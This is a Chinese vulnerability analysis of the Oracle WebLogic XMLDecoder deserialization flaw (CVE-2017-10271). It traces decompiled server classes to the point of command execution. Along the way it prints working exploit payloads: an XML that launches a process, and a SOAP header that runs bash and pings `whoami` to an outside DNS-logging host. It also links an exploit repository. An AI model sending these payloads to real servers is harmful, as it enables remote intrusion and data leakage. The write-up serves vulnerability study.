(CVE-2017-10271)Java反序列化漏洞
================================
一、漏洞简介
------------
二、漏洞影响
------------
Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.1.0
Oracle WebLogic Server12.2.1.3.0
三、复现过程
------------
exp
---
<https://github.com/ianxtianxt/-CVE-2017-10271->
poc
---
xml 文件
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</void>
</array>
<void method="start" />
</object>
</java>
读取xml文件,进行反序列化执行命令代码:
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class xmlrce {
public static void main(String[] args) {
// TODO Auto-generated method stub
java.io.File file = new java.io.File("/Users/pirogue/IdeaProjects/weblogic/src/poc.xml");
java.beans.XMLDecoder xd = null;
try {
xd = new java.beans.XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
Object s2 = xd.readObject();
xd.close();
}
}
![](./resource/(CVE-2017-10271)WeblogicXMLDecoder反序列化漏洞/media/rId27.png)
CVE-2017-10271 weblogic反序列化漏洞
WLSServletAdapter.class
public void handle(ServletContext var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException {
if (var2.getMethod().equals("GET") || var2.getMethod().equals("HEAD")) {
HttpMetadataPublisher var4 = (HttpMetadataPublisher)this.endpoint.getSPI(HttpMetadataPublisher.class);
if (var4 != null && var4.handleMetadataRequest(this, this.createConnection(var1, var2, var3))) {
return;
}
if (this.isOraWsdlMetadataQuery(var2.getQueryString())) {
this.publishWSDL(this.createConnection(var1, var2, var3));
return;
}
}
super.handle(var1, var2, var3);
}
![](./resource/(CVE-2017-10271)WeblogicXMLDecoder反序列化漏洞/media/rId28.png)
当开启调试模式,ping时,WLSServletAdapter对请求进行接收处理,执行到super.handle(var1,
var2, var3);后,跟进关键代码如下:
![](./resource/(CVE-2017-10271)WeblogicXMLDecoder反序列化漏洞/media/rId29.png)
WorkContentServerTube.class
![](./resource/(CVE-2017-10271)WeblogicXMLDecoder反序列化漏洞/media/rId30.png)
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
this.readHeader(var4);
}
}
return super.processRequest(var1);
}
将var3传递给readHeaderOld(var3),继续跟进readHeaderOld。
var1的值:
<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="d0b3bfbdfea3a5befea8bdbcfea7a3feb1a0b9febdb5a3a3b1b7b5fe80b1b3bbb5a490e4e4e1e9b2b1b3b2">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> Content: <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.7153b738c41fxxxxxxaadf9dbd46.tu4.org</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
![](./resource/(CVE-2017-10271)WeblogicXMLDecoder反序列化漏洞/media/rId31.png)
WorkContextTube.class
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
![](./resource/(CVE-2017-10271)WeblogicXMLDecoder反序列化漏洞/media/rId32.png)
基础知识拓展:
ByteArrayInputStream的用法:
InputStream
|__ ByteArrayInputStream
OutputStream
|__ ByteArrayOutputStream
ByteArrayInputStream可以将字节数组转化为输入流。ByteArrayOutputStream可以捕获内存缓冲区的数据,转化成字节数组。
构造函数:
public ByteArrayInputStream(byte buf[])
public ByteArrayInputStream(byte buf[], int offset, int length)
注意它需要提供一个byte数组作为缓冲区。
我们通过idea代码窗口内可以看到各个变量在调试运行后的值,var4的值就是接收poc的xml,在
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new
ByteArrayInputStream(var4.toByteArray()));
中,要创建WorkContextXmlInputAdapter的实例var6,
则var4.toByteArray()先转换成字节数组,传入ByteArrayInputStream转换成输入流,跟进WorkContextXmlInputAdapter,在WorkContextXmlInputAdapter.class内,WorkContextXmlInputAdapter接收输入流,并将输入流转换成XMLDecoder对象,这时如果再调用XMLDecoder的readObject()方法对其进行反序列化即可造成命令执行。其实在this.receive(var6);中,进行了多层调用最终到达readObject,下面会省略过多无关调试,记录xml反序列化相关:
下面是对WorkContextXmlInputAdapter和创建xml反序列化对象后如何执行的readObject方法造成rce的代码跟踪
WorkContextXmlInputAdapter.class
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package weblogic.wsee.workarea;
import java.beans.XMLDecoder;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.NotSerializableException;
import weblogic.workarea.WorkContext;
import weblogic.workarea.WorkContextInput;
public final class WorkContextXmlInputAdapter implements WorkContextInput {
private final XMLDecoder xmlDecoder;
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1); // WorkContextXmlInputAdapter构造函数,将输入流转换成XMLDecoder反序列化对象
}
public WorkContextXmlInputAdapter(XMLDecoder var1) {
this.xmlDecoder = var1;
}
public String readASCII() throws IOException {
return (String)this.xmlDecoder.readObject();
}
public WorkContext readContext() throws IOException, ClassNotFoundException {
Class var1 = Class.forName(this.readASCII());
try {
WorkContext var2 = (WorkContext)var1.newInstance();
var2.readContext(this);
return var2;
} catch (InstantiationException var3) {
throw (IOException)(new NotSerializableException("WorkContext must have a public no-arg constructor")).initCause(var3);
} catch (IllegalAccessException var4) {
throw (IOException)(new NotSerializableException("WorkContext must have a public no-arg constructor")).initCause(var4);
}
}
public void readFully(byte[] var1) throws IOException {
byte[] var2 = (byte[])((byte[])this.xmlDecoder.readObject());
System.arraycopy(var2, 0, var1, 0, var2.length);
}
public void readFully(byte[] var1, int var2, int var3) throws IOException {
byte[] var4 = (byte[])((byte[])this.xmlDecoder.readObject());
System.arraycopy(var4, 0, var1, var2, var3);
}
public int skipBytes(int var1) throws IOException {
throw new UnsupportedOperationException();
}
public boolean readBoolean() throws IOException {
return (Boolean)this.xmlDecoder.readObject();
}
public byte readByte() throws IOException {
return (Byte)this.xmlDecoder.readObject();
}
public int readUnsignedByte() throws IOException {
return (Integer)this.xmlDecoder.readObject();
}
public short readShort() throws IOException {
return (Short)this.xmlDecoder.readObject();
}
public int readUnsignedShort() throws IOException {
return (Integer)this.xmlDecoder.readObject();
}
public char readChar() throws IOException {
return (Character)this.xmlDecoder.readObject();
}
public int readInt() throws IOException {
return (Integer)this.xmlDecoder.readObject();
}
public long readLong() throws IOException {
return (Long)this.xmlDecoder.readObject();
}
public float readFloat() throws IOException {
return (Float)this.xmlDecoder.readObject();
}
public double readDouble() throws IOException {
return (Double)this.xmlDecoder.readObject();
}
public String readLine() throws IOException {
return (String)this.xmlDecoder.readObject();
}
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}
public static void main(String[] var0) throws Exception {
XMLDecoder var1 = new XMLDecoder(new FileInputStream(var0[0]));
WorkContextXmlInputAdapter var2 = new WorkContextXmlInputAdapter(var1);
System.out.println(var2.readASCII());
System.out.println(var2.readInt());
byte[] var3 = new byte[20];
var2.readFully(var3);
System.out.println(var3);
System.out.println(var2.readBoolean());
System.out.println(var2.readByte());
System.out.println(var2.readShort());
System.out.println(var2.readChar());
System.out.println(var2.readInt());
System.out.println(var2.readLong());
System.out.println(var2.readFloat());
System.out.println(var2.readDouble());
System.out.println(var2.readUTF());
System.out.println(var2.readUTF());
System.out.println(var2.readUTF());
}
}
WorkContextXmlInputAdapter-\>new XMLDecoder(var1)
WorkContextEntrylmpl.class
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
String var1 = var0.readUTF();
return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
}
第72行,readUTF()
WorkContextXmlInputAdapter.class 第103行
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}
![](./resource/(CVE-2017-10271)WeblogicXMLDecoder反序列化漏洞/media/rId33.png)
当WorkContextEntrylmpl.class中的readUTF执行完成之后,返回反序列化的字符串,rce也执行完成!8
![](./resource/(CVE-2017-10271)WeblogicXMLDecoder反序列化漏洞/media/rId34.png)
weglogic log:
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/log